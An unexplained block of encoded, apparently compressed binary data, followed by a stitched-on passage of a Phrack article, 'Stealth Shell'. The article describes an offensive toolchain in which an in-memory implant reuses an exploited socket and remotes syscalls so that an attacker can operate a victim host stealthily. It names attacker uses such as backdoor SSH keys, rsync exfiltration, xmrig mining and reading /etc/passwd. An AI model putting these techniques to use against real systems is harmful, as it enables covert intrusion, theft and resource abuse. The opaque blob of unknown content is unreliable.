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 nM7ezlAAH4hAGAkAg2J+FYscRn+wIAAAAABFla

Stealth Shell

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x0E of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑=[ Stealth Shell: A Fully Virtualized Attack Toolchain ]=‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Ryan Petrich (rpetrich@gmail.com) ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Have you dreamed of a remote shell with the stealth of a custom in‑memory implant and the comfort of a shell running on your local host? Dream no more, comrade â€“ enjoy this exhaustive discussion of such a tool.

Introduction

~~~~~~~~~~~

Attackers consider remote shells a foundational element of the attack development lifecycle because they allow us to carry out operations on a victim machine. Yet, the "market" for remote shell implementations is rather stale and stagnant, with vendors offering proprietary tools and everyone else building custom ones or binding standard in/out/error to a remote socket before execing the system shell.

Traditional post‑exploitation toolchains are either noisy and flexible, or stealthy and cumbersome. But stealthy remote code execution need not be unwieldy and slow to operationalize. By rethinking what the "remote" in remote shell means, we can make shelling into exploited systems much more difficult to detect.

This paper scrutinizes the remote shell status quo, describes a new class of shell to simplify target puppetry, and traverses the syscall hells along the way.

What is a remote interactive shell?

~~~~~~~~~~~~~~~~~~~~~~~

An interactive shell is a prompt that accepts textual commands as input from a user and acknowledges the output to the user. Prior to the popularization of graphical interfaces, shells were the primary mechanism for users to interact with their computers and still are for many people of software. Those of us old enough to use DOS may remember the C:\> prompt fondly, and those older than I may remember earlier ones.

Choice of shell is often personal to those who interact with computers over extended periods, and experienced hackers customize their shells with custom prompts, aliases, and scripts.

A *remote* interactive shell performs our commands over a network on another computer instead of the one we're physically interacting with. SSH is the canonical tool for legitimate remote interactive shells.

A classic approach is to write an exploit that creates a new socket, connects to a predefined network address (where we're already listening), then binds that new socket to standard input and output. After we bind it, we exec the system's shell interpreter â€“ replacing the service we exploited (like nginx) with a shell under our control. We call this a "connectback" shell because the exploit connects back to us.

Alternatively, we could reuse an existing socket (rather than creating a new socket); we can choose the same socket we used to exploit the target to maximize our convenience. With this approach, we write our exploit to bind standard input and output to the existing network socket and exec the system's shell interpreter. This is creatively known as a "socket reuse" shell.

Yet another approach involves writing an exploit that launches an implant â€“ a bit of software that exists only to receive and perform commands over a network socket â€“ as well as building a custom interactive prompt that accepts commands from us locally (which we send over the network to the implant). This approach avoids running a shell on the victim's infrastructure, but is cumbersome and requires anticipating which commands we might need ahead of time.

Why do attackers use remote shells?

~~~~~~~~~~~~~~~~~~~~~~~

I am making the generous assumption that Phrack's audience still consists of offense‑minded folks â€“ i.e., "attackers" â€“ rather than middle‑aged exploit authors who sold out to enrich venture capitalists. So, when I say, "we," assume our jolly group includes attack‑oriented programmers.

When we exploit a vulnerability in a target system, remote shells allow us to interact with the victim's system and spare us from pre‑emptively defining exactly which tasks we want to perform (when we don't even know much about the system). For this reason, we often spawn shells during the exploitation phase of our operations. Interactive prompts make us more nimble; if we realize we need to do something we hadn't anticipated, we aren't forced to re‑exploit the system with a new payload (which is both annoying and possibly expensive).

Just as legitimate system administrators often need to log into their systems and explore them interactively, we will need to explore the systems under our purview interactively as surprise system administrators.

The disparate hemispheres in traditional shells

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Classic connectback or socket reuse shells only give us access to whatever packages and tools are on the victim's machine already, in whatever configuration that system's operator decided. Custom interactive prompts that communicate with a hand‑crafted implant are brittle and make us reinvent an interactive environment from scratch.

Like most people of software, I heavily customize my environment and do not like the interactive prompts available for Windows. I am also a lazy attacker. I refuse the indignity of Powershell and cling to the Linux utilities burned into my brain, so much so that I descended into a labyrinthian rabbit hole and traversed the bowels of Linux, macOS, and Windows for an unreasonable hoard of hours to create my own toolchain and indulge my persnickety laziness.

You deserve a more civilized attack workflow, too. Let's discuss this extravagant contraption in detail.

Stealth Shell

~~~~~~~~~~~~~

Stealth shell tooling simplifies how we interact with remote victim systems while muffling any side effects to elude discovery by defenders. It not only improves the interactive experience of remote shells, but veils their activity like custom in‑memory exploits (without the inconvenience of a custom non‑standard interactive environment or worse, being limited to the preordained shellcode we crafted during the operation's initial stages).

What qualities constitute a tool capable of creating stealth shells? There are three key criteria a tool must satisfy:

1. Unify the computational resources of multiple machines as if they were one system

2. Expose access to this system via a standard shell interface that can run arbitrary programs

3. Hide execution inside an in‑memory implant to avoid detection

How does this innovate beyond existing commercial tools like Immunity Canvas and Core Impact? Those are special, proprietary tools with their own proprietary ecosystems that you have to buy; any extensions you build are locked into those walled ecosystems. They also don't do anything to unify multiple machines under a single illusion; they force you to explicitly talk to the remote machine using their proprietary commands and APIs.

A stealth shell is special because the way you interact with it is not special. It reifies a regular Linux shell so we can use standard UNIX tools to puppeteer our target machines. This simplifies our workflow to:

1. Discover vulnerable target service

2. Exploit the target service (bring your own vulnerability), instantiating the stealth shell implant

3. Interact with the target system as if it were local using the virtual stealth shell:

~* Finding their cyberinsurance policy is as simple as grep; *~ ~* Copying the victim's files is as simple as running cp; *~ ~* Querying their databases is as simple as running psql; *~ ~* Adding a backdoor ssh key is as simple as writing to the target's .ssh/authorized_keys file; *~

~* Fetching data from other services is as simple as running curl; *~ ~* Imaging their disk is as simple as dd; *~

~* Exfiltrating data is as simple as rsync; *~

~* Computing SHA256 hashes using their CPU is as simple as running xmrig; *~

A stealth shell can access all the packages installed on our machine. It respects our local configuration, line discipline, and window sizing. We can use our favorite scripting languages to automate operations against the victim's machine rather than gluing random snippets of shellcode together by hand.

At the highest level, the stealth shell collection of tools contain a fully virtualized attack toolchain. They virtualize the filesystem, network, and compute resources of both the remote victim system and our local system, transmogrifying these disparate hemispheres into a unified, distributed Linux machine at our disposal.

This unified, distributed Linux machine lives in the initial shell process and any subsequent subprocesses we spawn when interacting with the shell. We can execute these subprocesses locally or embed them on our victim's machine via the implant; Stealth shells bequeath us equal access to files and network connections on either hemisphere of the distributed system (i.e. both our machine as an attacker and our target / victim machine).

System call remoting with an implant

~~~~~~~~~~~~~~~~~~~~~~~

How is it possible for us to command both our system and our victim's as if they were one distributed Linux machine? We employ the age‑old technique of system call remoting (publicized and later commercialized by CORE). On whatever machine we're using to mount our attack operation, we run programs locally but proxy our commands over the network to the target (victim) machines so our implant executes them instead.

This makes an implant the first critical ingredient we need for syscall remoting. A stealth shell's implant is lightweight, performing only a few necessary behaviors. On start, the implant searches for the incoming socket (the one that triggered the exploit). It next reuses that socket and sends a hello message to us (on our local machine) indicating the exploit succeeded. The implant then attentively listens (in a loop) for when we send it commands to perform.

Stealth shell's implant accepts the following commands:

1. Perform a syscall and report the result back

2. Call a function and report the result back

3. Peek at a range of memory and report the bytes back

4. Poke at a range of memory, writing a specific sequence of bytes into it

Stealth shell uses these commands to perform operations on our behalf. Let's say we type `stat /target/etc/passwd` into the stealth shell on our local machine. On the remote victim machine, the implant performs a newfstatat(AT_FDCWD, "/etc/passwd", ..., AT_SYMLINK_NOFOLLOW) syscall and dutifully reports back that yes, it did find a passwd file and shows us the file's attributes.

Similarly, let's say we type `cat /target/etc/passwd` into the stealth shell. This will have the implant perform openat(AT_FDCWD, "/etc/passwd", O_RDONLY) followed by a series of read syscalls on the resulting remote file descriptor. cat will then print the contents of the remote file to the terminal.

This is all the support we need from the implant to support a stealth shell for syscall remoting.

Intercepting local syscall operations

~~~~~~~~~~~~~~~~~~~~~~

Great! We exploited a given target, then installed the implant that reuses the victim socket and listens for commands to perform on the (remote) victim machine. But how do we interact with the victim's remote machine as if it were our local machine? How can we ensure the commands we enter on our local machine execute on our victim's remote machine? We need something that can tell the implant what to do based on what we type into our local shell. Specifically, we need a component on our machine that intercepts local syscall requests and instead sends them over the network for the implant to execute on the victim's system.

To understand how syscall interception works, let's start with "typical" syscall behavior. How do syscalls normally work when we aren't manipulating them for crimes, espionage, or escapades? When a process performs a syscall, the operating system wakes up and its kernel figures out what operation is associated with the syscall. The kernel performs the operation on the process and then resumes executing the program. The program continues doing work, relying on the operation it asked the kernel to perform.

If we can somehow direct the kernel to hand control over to us, we can replace the behavior of the operating system with behaviors of our own.

